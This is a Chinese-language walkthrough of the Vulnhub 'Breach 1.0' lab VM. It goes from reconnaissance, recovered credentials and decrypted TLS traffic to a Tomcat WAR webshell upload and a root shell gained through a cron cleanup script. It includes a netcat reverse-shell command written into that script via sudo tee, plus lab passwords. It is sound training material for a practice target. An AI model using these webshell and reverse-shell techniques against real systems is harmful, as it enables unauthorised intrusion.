Vulnhub 靶机 Breach 1.0
0x00 环境准备
-
下载链接
https://download.vulnhub.com/breach/Breach-1.0.zip
-
靶机配置
Vm虚拟机打开
虚拟机ip 已配置为 静态 ip 192.168.110.140
将网卡设置为 仅主机模式 网段配位 192.168.110.0
kali 攻击机 也配置该网卡 -
目标
root权限或flag文件
0x01 信息收集
-
靶机ip探测
已经知道是 192.168.110.140 ping一下试试 是否已开启
开启成功 -
端口服务识别
(1)nmap扫
nmap -sC -sV -A -p- 192.168.110.140 -o port.txt
(2)发现扫描速度贼慢,可能开放端口过多用masscan试试
masscan --rate=1000 --ports=0-65535 192.168.110.140
(3)应该是对端口扫描做了防护措施
直接尝试测试常见端口吧 比如web80.
0x02漏洞挖掘
思路一:web 漏洞挖掘
步骤一:80web漏洞挖掘
(1)查看首页 顺便进行目录遍历
首页内容 大概翻译为 此次被攻击是前员工造成,那可能会留下后门之类吧。
图片可以点击 跳转到
http://192.168.110.140/initech.html 链接
python3 dirsearch.py -u "http://192.168.110.140/" -e "*"
没有扫出有用的信息
在 images目录中 存在几张图片
wget 下载后 发现 一处存在可疑字符串
string bill.png
tEXtComment
coffeestains
(2)查看源码
像base64加密数据
(3)base64解密
两次解密 得到
pgibbons:damnitfeel$goodtobeagang$ta
(4)用获取到的账号密码尝试登录
http://192.168.110.140/impresscms/user.php
账号:pgibbons 密码: damnitfeel$goodtobeagang$
登录成功
(5) inbox 中发现三封邮件
最后一个邮件中 提到一个ssl证书 链接在 192.168.110.140/.keystore
下载 看看
(6)发现攻击者攻击过程的pcap包
http://192.168.110.140/impresscms/modules/content/content.php?content_id=1&page=ssl-implementation-test-capture
他们告诉我别名storepassword 和keypassword 都设置为’tomcat’
步骤二:分析利用攻击者攻击步骤
(1)将pcap包用wireshark打开
发现有数据在8443端口以https协议通信
telnet 192.168.110.140 8443
发现开启
(2)解密keystore
列出keysotre密钥库中的所有证书
keytool -list -keystore keystore
从keystore 密钥库中导出名为tomcatkeystore 的证书
keytool -importkeystore -srckeystore keystore -destkeystore tomcatkeystore -deststoretype pkcs12 -srcalias tomcat
(3)wireshark 导入tomcatkeystore证书
编辑-首选项-protocols-TLS-Edit- + - 添加进去证书 输入 信息 密码 OK
发现 https 流量已经解密成功
存在 get 请求
选中 右键复制出 值
https://192.168.110.140:8443/_M@nag3Me/html
从后续的 流量包中 也可以看出来是利用 tomcat 后台上传war包 上传 cmd.jsp马 执行id 命令 后续 进行攻击 getshell
步骤三:利用tomcat 上传war包 getshell
(1)访问获取到的get请求地址
https://192.168.110.140:8443/_M@nag3Me/html
发现 不论用哪个浏览器都提示安全连接失败等无法访问。
最后 百度 搜索方法 ,发现其他师傅说 打开bp就可以访问。 测试 ok。
发现有
Authorization验证
测试发现 请求包中 存在
base64解密即为 你输入的账号密码
因此也可以去攻击者的pcap流量包中 寻找 账号密码
(2)去pcap包找 Authorization验证 账号密码
在200响应前的 包中 找到
账号密码wireshark中 可以直接看到 复制值
tomcat:Tt\5D8F(#!*u=G)4m7zB
(3)登录
tomcat:Tt\5D8F(#!*u=G)4m7zB
https://192.168.110.140:8443/_M@nag3Me/html
登录成功
为tomcat后台
从报错页面 以及后台底部都可以看到 tomcat版本
(4)tomcat 6.0.39后台 漏洞利用waf包后门上传
参考我之前写的文章 利用漏洞
https://blog.csdn.net/YouthBelief/article/details/120947118
使用冰蝎jsp 马上传
将shell1.jsp 压缩到 shell1.zip中
将shell1.zip改名为 shell1.war
上传
上传成功后shell1.waf 会自动解压 出现 shell1目录
访问 木马地址 https://192.168.110.140:8443/shell1/shell1.jsp
访问成功
(5)冰蝎开启代理 连接
连接成功
(6)反弹shell
发现 上传的war包隔段时间就会 会被清理 ,应该有定时删除任务,直接用冰蝎反弹一个shell保持连接。
或者 反弹msf cs shell
0x03 提权
步骤四:收集信息
(1)cat /etc/passwd 找 id为1000以后的
发现milton和 blumbergh 账号 可能会有用
(2)翻文件 看有没有数据库配置文件及其他有用文件
在 /var/www/5446发现两个文件名比较可疑的文件 下载下来看看
download 0d93f85c5061c44cdffeb8381b2772fd.php ./
download fe4db1f7bc038d60776dcb66ab3404d5.php ./
cat 查看
发现为数据库配置文件 账号 root 密码为空
(3)连接数据库
msf 中 shell 连接 mysql后 回显有问题
无回显 无法确定连接是否成功
冰蝎反弹一个shell也无回显 。
最后 直接用冰蝎连接数据库
无密码连接成功
select User,Password from mysql.user;
从 mysql库的user表中 获取到 milton的账号密码
milton |6450d89bd3aff1d893b85d3ad65d2ec2|
(4)MD5解密
thelaststraw
(5)以tomcat6账号su切换到 milton账号
获取到账号 milton的密码 thelaststraw
python -c 'import pty;pty.spawn("/bin/bash")'
su milton
thelaststraw
(6)查看 milton目录下的.bash_history历史命令
发现 有 su blumbergh
尝试后发现需要密码
(7)尝试 su blumbergh 切换到 blumbergh账号
密码 采用 之前搜集到的所有密码进行尝试
最后通过 bill.png 中的 coffeestains 登录成功
(8)查看blumbergh账号的历史命令
cd /usr/share/cleanup
cat tidyup.sh
比较可疑
发现是root文件,不过没有写入权限。
是一段清理脚本,描述中说明每3分钟执行清理,删除webapps目录下的文件,因此之前tomcat后台上传的马总是被删除,需要重新上传。
(9)利用 该定时任务提权
- 向tidyup.sh中写入反弹shell命令
tidyup.sh文件只有root可写,而能够以root权限运行tee命令,那么用tee命令写tidyup.sh:先将反弹shell命令写入shell.txt文件,使用bash反弹shell命令没有成功,于是使用nc命令反弹shell成功,所以写nc反弹命令:
echo "nc -e /bin/bash 192.168.110.128 5555" > shell.txt
-
再使用tee命令将shell.txt内容输出到tidyup.sh
cat shell.txt | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh
-
查看tidyup.sh文件写入成功:
cat /usr/share/cleanup/tidyup.sh
-
nc监听等待反弹shell,查看权限是root。
(10)提权成功后 获取flag
先以pthon 启动一个终端 方便使用
python -c 'import pty;pty.spawn("/bin/bash")'
看看计划任务
cat /var/spool/cron/crontabs/root
果然和之前那个文件描述的一样每三分钟执行一次tidyup.sh
启动python http服务 下载flag失败
于是 考虑 将图片拷贝到 冰蝎马可以访问的目录 /home/milton/ 中 下载到windows中 打开
cp flair.jpg /home/milton/flair.jpg
右键下载windows打开图片 读取到flag
i need to talk about your flair
我得谈谈你的天赋
0x04 总结
该靶场难度较高
考点在于
(1)主要考点 在信息收集 对网站各个功能点 信息的分析能力
(2)使用keytool 工具 导出ssl证书,导入到wireshark 解密经过ssl加密的流量获取到后台url和登录账号密码。
(3) tomcat后台上传的马还会被定时清理,就考虑到有定时任务。对后期提权也有帮助。
(4)msf获取的shell 连接数据库有问题,无回显,后来用冰蝎自带的连接数据库功能查出mysql库中user表的username,password字段值。
(5)提权部分考点是定时任务反弹rootshell 提权,经过两个账号的历史命令翻到关键信息,才找到 有root权限的 定时清理脚本位置, 而脚本没有写入权限 通过tee 命令 修改为反弹shell才反弹回root权限。